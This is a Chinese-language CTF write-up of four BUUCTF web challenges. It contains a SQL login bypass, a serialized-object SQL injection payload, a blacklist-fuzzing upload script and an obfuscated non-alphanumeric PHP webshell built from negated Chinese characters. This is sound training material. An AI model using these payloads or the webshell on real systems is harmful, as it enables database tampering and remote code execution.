[MRCTF2020]Ezaudit 随手试了一下www.zip==又有源码了,
前面就是登陆啥啥啥的,看了一下关键是要有private_key,所以看了一下下面的代码,使用mt_rand构造的公钥和私钥,所以只要我们获得随机数种子就行了
和buu14里面的题目一样的,不过最后要到login.html进行登录,密码可以用万能钥匙’or 1=1’1 这里有个大坑,以前没有注意过
这里要求php的版本是要在5.2.1到7.0.x之间的,不然出来的秘钥是不匹配的
[GXYCTF2019]StrongestMind 计算成功1000次看起来是要写个脚本 改天一定要学学算法,感觉自己写的代码都好冗长,可以去世了,测试是可以的,但是由于现在buu限制了,一下子发送太多请求直接500了,服惹弄了时间间隔也没用,so下一题了
import requestsimport reimport timeurl="http://e96f1fb4-3b45-487a-ada1-2465e38d9be2.node4.buuoj.cn/" s=requests.session() r = s.post(url=url).text r1='' for i in range(0 ,10000 ): if i!=0 : r=r1 answer1=re.compile(r'<br><br>\d{8}' ,re.S).findall(r)[0 ].replace('<br><br>' ,'' ) answer2=re.compile(r'\d{8}<br><br>' ,re.S).findall(r)[0 ].replace('<br><br>' ,'' ) sign=re.compile(r' \W ' ,re.S).findall(r)[0 ].replace(' ' ,'' ) answer1=float(answer1) answer2=float(answer2) if '+' == sign: fina_answer=answer1+answer2 else : fina_answer = answer1-answer2 data={ "answer" :fina_answer } r1 = s.post(url=url, data=data).text print('*' *25 ) if "bingo!" in r1: print(i) time.sleep(0.5 )
[安洵杯 2019]不是文件上传 前置知识 做题过程中遇到不熟悉的知识点写在前面比较好
php—foreach理解 <?php $arr = [1 , 2 , 3 , 4 ]; foreach ($arr as &$value) { $value = $value * 2 ; } unset ($value);
<?php $arr = [1 , 2 , 3 ]; foreach ($arr as $k => &$v) { $v = $v * 2 ; }
原题目有文件泄露所以直接上github下载一下源码 然后开始审计~: 在helper.php中看到一处序列化,其中这个my_ext是图片的大小,即宽度和高度
getfile()方法,存在check机制
严格的白名单检测机制,因为strrchr() 函数 (在php中)查找字符在指定字符串中从右面开始的第一次出现的位置, 这里有个文件读取,但是path似乎被写死了,暂时还没找到利用点 继续看一下其他文件,在show.php中看到了显示文件的代码,对attr_temp的内容进行反序列化,前面对它是进行了序列化的
解题思路 题目给了反序列化,但是没看到一些有用的跳板,感觉是要结合数据库进行攻击,最后利用file_get_contents得到flag,但是感觉对于那些值可控有点茫然,所以决定传值跟一下 首先是数据库配置:
可以发现文件名是可控的并且最后是attr参与反序列化,注意到又包含了helper.php,所以感觉是可以进行config值的更改的
所以思路如下:
首先构造反序列化对config重新赋值,然后通过sql注入使本来应该title的序列化语句跑到attr字段,然后通过访问该图片,即可获得flag
构造反序列化语句
class helper { protected $ifview=True ; protected $config="/flag" ; } $a=new helper(); echo bin2hex(serialize($a);
然后由于这个是protected
并且题目中对*号做了处理,所以我们对其进行十六进制加密就行了
0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d
然后构造sql注入语句,抓包改文件名
1','1','1','1','0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d')#
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('12','534b340ce39e1079.jpg','jpg','pic/534b340ce39e1079.jpg','a:2:{s:5:"width";i:969;s:6:"height";i:335;}')
成功插入 获得flag
[SUCTF 2018]GetShell if ($contents=file_get_contents($_FILES["file" ]["tmp_name" ])){ $data=substr($contents,5 ); foreach ($black_char as $b) { if (stripos($data, $b) !== false ){ die ("illegal char" ); } } }
看源码,他除了源码的前五位不检查,其他都会和黑名单比对,但是我们不知道过滤了啥,所以需要fuzz一下,顺便学习一下如何编写文件上传的脚本
import requestsurl =r"http://c86c138f-b79c-45a8-9f85-6841c06aafcc.node4.buuoj.cn/index.php?act=upload" s=requests.session() headers = s.get(url).headers def upload_post (url ): str_list=[] for i in range(33 ,127 ): str_list.append(chr(i)) for str in str_list: file_post=f""" -----------------------------380760932532682480232707439734 Content-Disposition: form-data; name="file"; filename="屏幕截图(3).png" Content-Type: image/png 12345{str} -----------------------------380760932532682480232707439734 Content-Disposition: form-data; name="submit" 提交 -----------------------------380760932532682480232707439734-- """ r=s.post(url,headers=headers,data=file_post.encode('UTF-8' )) print(r.text) if 'Stored' in r.text: print("该字符可以通过: {0}" .format(str)) else : print("过滤字符: {0}" .format(str)) if __name__ == '__main__' : upload_post(url)
经过测试可以通过的字符有:$
、(
、)
、.
、;
、=
、[
、]
、_
、~
,然后就是汉字了 接下里的思路就是思考一下如何构造马去进行上传,如何通过现有字符构造出被过滤的字符,用得一般就是异或操作或者取反,但是异或符号被过滤了,所以这里就用取反去构造
<?php $__ = []; $_ = ($__ == $__); $__ = ~(融); $___ = $__[$_]; print ($___);
通过以上方法我们可以构造出我们需要的字母,接下来写一个fuzz脚本:
<?php error_reporting(0 ); header('Content-Type: text/html;charset=utf-8' ); function str_split_unicode ($str,$l=0 ) { if ($l>0 ){ $ret=array (); $len=mb_strlen($str,'UTF-8' ); for ($i = 0 ; $i < $len; $i += $l) { $ret[] = mb_substr($str, $i, $l, "UTF-8" ); } return $ret; } return preg_split("//u" , $str, -1 , PREG_SPLIT_NO_EMPTY); } $s = '放你的汉字要多一点才行' ; $arr_str=str_split_unicode($s); for ($i=0 ; $i < strlen($s) ; $i++) { echo $arr_str[$i].' ------- ' .~$arr_str[$i][1 ].'<br>' ; }
接下来构造马:
<?= $_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);
然后访问环境变量就可以看到flag了,为啥是环境变量=-=,好像是题目出了问题,本来在根目录的,